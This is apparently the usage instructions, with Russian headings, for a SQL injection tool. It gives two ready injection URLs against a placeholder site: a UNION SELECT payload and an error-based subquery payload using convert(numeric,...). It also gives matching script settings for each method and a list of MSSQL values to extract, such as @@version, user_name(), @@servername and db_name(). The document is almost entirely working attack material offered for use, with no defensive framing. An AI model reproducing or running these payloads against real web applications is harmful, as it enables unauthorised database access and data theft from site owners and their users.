http://site.com/index.phtml?pid=7+union+select+null,@@version,null

Настройки в скрипте:

$s_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
$s_subquery_url = ""; # url SUBQUERY method
$s_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$s_filtr = "--"; # close SQL
$s_plus = "+"; # %20,%2b & etc.
$s_convert = "numeric"; # default type to convert - numeric (for subquery method)

http://site.com/index.phtml?pid=-7+or+1=convert(numeric,(select+@@version))--+

Настройки в скрипте:

$s_union_select_url = ""; # url UNION+SELECT method
$s_subquery_url = "http://site.com/index.phtml?pid=-7+or+1="; # url SUBQUERY method
$s_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$s_filtr = "--+"; # close SQL
$s_plus = "+"; # %20,%2b & etc.
$s_convert = "numeric"; # default type to convert - numeric (for subquery method)

@@version
user_name()
@@boottime
@@errorlog
@@language
@@servername
db_name()